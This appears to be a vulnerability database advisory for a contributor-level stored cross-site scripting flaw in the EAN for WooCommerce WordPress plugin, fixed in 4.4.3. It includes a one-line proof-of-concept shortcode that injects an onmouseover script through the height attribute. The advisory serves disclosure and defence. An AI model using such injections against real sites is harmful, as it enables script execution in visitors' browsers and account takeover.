WordPress Plugin Vulnerabilities

EAN for WooCommerce < 4.4.3 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[alg_wc_ean_product_image product_id='1' width='100%' height='100%" onmouseover="alert(1)"']

Note: In product_id, the WooCommerce product id will go.

Affects Plugins

Fixed in 4.4.3

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-11 (about 1 years ago)
Added
2023-01-11 (about 1 years ago)
Last Updated
2023-01-11 (about 1 years ago)

Other